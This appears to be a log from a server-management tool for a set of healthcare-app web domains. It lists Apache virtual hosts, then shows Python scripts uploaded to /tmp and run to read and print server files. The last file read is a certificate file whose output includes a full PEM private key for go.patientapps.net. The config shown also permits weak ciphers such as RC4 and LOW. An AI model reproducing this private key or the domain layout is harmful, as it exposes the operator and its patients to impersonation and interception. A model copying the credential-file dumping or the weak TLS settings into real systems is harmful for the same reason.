         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-11 06:01:19: 

PUT: /tmp/pkp471697

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_go_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-11 06:01:19: 

chmod 755 /tmp/pkp471697; /tmp/pkp471697; rm /tmp/pkp471697

2025-10-11 06:01:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf	1491
<VirtualHost *:80>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	go.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
    DocumentRoot	/var/www/patientapps_go
    <Directory /var/www/patientapps_go>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/go_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/go_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm
</VirtualHost>







2025-10-11 06:01:19: 

PUT: /tmp/pkp674929

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-11 06:01:19: 

chmod 755 /tmp/pkp674929; /tmp/pkp674929; rm /tmp/pkp674929

2025-10-11 06:01:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt	5353
a9:0c:25:dc:dd:17:ab:2b:fc:96:e4:70:44:9e:08:7a

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBp0VnAU8BDmYQi2PiHI/dK/5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMjQ4WhcNMjYwMTA5MDUwMjQ3WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDO4WnaNtuJLDT/EKTIk/QrTHSwTqcJtrAu5kjIuGGV/UKFjUid9pw7+wnB
uMxmfZ7+WJSPs1rQfSV+jZyYwqdgqA51yL8bEETbjr7bmciuRRDyhujzgjLorCj3
XpvZgu+8UmD2+hvhG9q3QWUehM/aIdRPzSD/yr3I+ehLhDQ1O3LiFkDm8g5FBaj5
RwIhoL4XsaZMlNBYSDoIOV/LbcCCZVeNtP1JgRDWwCIo6pov9Jl73h/nvkmiNmbz
7qelvWmRCeoJeEiyuPL098w/DkUayKaRKMa0jpqzyQTct1H3jhlnPy11lmcEn66N
2ukS9dgW+KmzYsItOjqXbDFo5llPAgMBAAGjggIiMIICHjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFLCT4fOdYDPRGPsTFpGs0fjDRTuuMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wHQYDVR0RBBYwFIISZ28ucGF0aWVudGFwcHMu
bmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTIyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA
7wB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmdHb+hUAAAQD
AEYwRAIgJodojjjvhK5gXk/3m7nc2W0C09Bq3RiGz3v4DNdQPHACIGFk8veWnLb5
MktZvGFguwTnV9cLGP6S+oX8NqLVwXa9AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGZ0dv6QwAABAMARzBFAiEA0lt8E62hqGW1aNr7Im6Avf7m
afBIuPeg6q5bc171YgMCIDW+iHAr5zuNjoU/kVFQeEwTE4ySFfsocJCqyx7czb9f
MA0GCSqGSIb3DQEBCwUAA4IBAQCf279FGzjcU415srR61AdAJHsVOX8jElK9euJH
hdv2JzUs5+760bbjRqC2cEERp3wEgUipn9V46W7XxrrgU4YPAYT7beV/v0Cx5SR2
f3Z0VcaWkf9oITfykT0qIZ6i1LF+X/JINjGmo+KMsuk4AkvufaJq/3HZceTi3yqq
Pshi931UKxsbVQQ1zOTvFmWeAmXGODYzPIPePwOUtkAA1QT3SNeIb95tQQyjgLIW
3Mn3bEjFKfJesUIZge3T7YeNeI5dMWtKjM/JadrgemvDJn5lKi20uYSwQjL6XwbZ
Ox59W8Cj2CTqXwLYVMLDX33a9QrngjfX67xXiNUzOPYuOF7G
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDO4WnaNtuJLDT/
EKTIk/QrTHSwTqcJtrAu5kjIuGGV/UKFjUid9pw7+wnBuMxmfZ7+WJSPs1rQfSV+
jZyYwqdgqA51yL8bEETbjr7bmciuRRDyhujzgjLorCj3XpvZgu+8UmD2+hvhG9q3
QWUehM/aIdRPzSD/yr3I+ehLhDQ1O3LiFkDm8g5FBaj5RwIhoL4XsaZMlNBYSDoI
OV/LbcCCZVeNtP1JgRDWwCIo6pov9Jl73h/nvkmiNmbz7qelvWmRCeoJeEiyuPL0
98w/DkUayKaRKMa0jpqzyQTct1H3jhlnPy11lmcEn66N2ukS9dgW+KmzYsItOjqX
bDFo5llPAgMBAAECggEAF6c0GAvvm8ZfJM59WKV55D1wlfvYI0cs65/OsIxMM/7p
zSUzKURZ5o20Nt7vF8TDGed8zNU/y9iTId4FCn4u7uEoDhVurCR3CvdOIQN7K1mg
L2p3VegL9AhDAs1hWkQbLtfoWDSOXXV20z751bxvm0wE3z7fx/8hJcpU4dVytqcp
t/8ZFfnNBAtWBVsgCkZWj1JlEUabZpjb7xSMmT4WlZiEvmgAoZSqE1X7fwQuLgX9
KFjywZNjEENcWO8S/vT9ie3HlPKNoLShHxfllLd9j5DCPVs8rM5jDqsEjMYhwaYZ
bwoTCpSZ9hsJl46qC9F+xz4/8D2VxESyy6saKzoRgQKBgQDvdEESVVtjduW8MYBb
XtlsCtPmuQGDAf2nQHycBvM0c9Vnxg5tJeGrFXsAq7b2hSUO3+kJWwj9yyqwV/YY
w2ZBgpTKRly0y3Lm4Jcp9LQ2OSnwRyFzDhzADx2O6nRAeEt2trwSzVYPKeJbEAbE
ybxO9s8NCZeSklnJi/mOxjCVjwKBgQDdLPWRVnyQtU8JWl+7c4lZtwKzqf+4KizU
25riP/8l8qVP/eEntdb2PVssUcns6RaQk54Q035e80kwmmtJj9T4VJZ8bXNuWNR8
5xLikYP4KNfyCktQgWhTntMv+6sVVMOA/3NZ6Ko8ooDurw1QTvrssSimLbjOCLx2
oqHkL/mgQQKBgEcnElbySi+qGuXrB6se6hhytzit7McTBl52iRCL+CSz7svhTFQe
l4oQ3fX7EGj8c2CSJFsFVAymHE8+NABzv6TjunbIpa+LbN8yCXkMH6ilH9MoL8ZS
gTSIyU24WUb29+WUsxobLeFfnsVUY86B65TDPg8vtHx3RHrhPwyv06v9AoGAO3pT
r3nqlZ+sWX+MLwSq8w1cFKSquAPfen5z8FP1cWcHPbOwUNV9sUpeslRsUOF9x/Nq
lmvJmA8kp4VfRLEBPKbCsUNdv1b0DYK2eWdYbevN5rEN/+BNBe+4KzcqktnwmUgY
5RzEavnoYkeA9Q/IOs6Jd+bjw8RlqiGiF5MvNgECgYA6ZZ8qEEyBJuzgFNLrxSg7
fiHdK+99jJZqg0cgVK74yC/bPsNK6f6o+yrmQzgaTyGPLZK2gOmzkqh3x//yfDg7
vLP19DKBgXkKmfehkULRoirrXH4oo4BxiZ7JAMneeg6CYYtiWlxjK3EwWPg0pkbN
7YN4Gx7cLf0P8OZnauurLQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
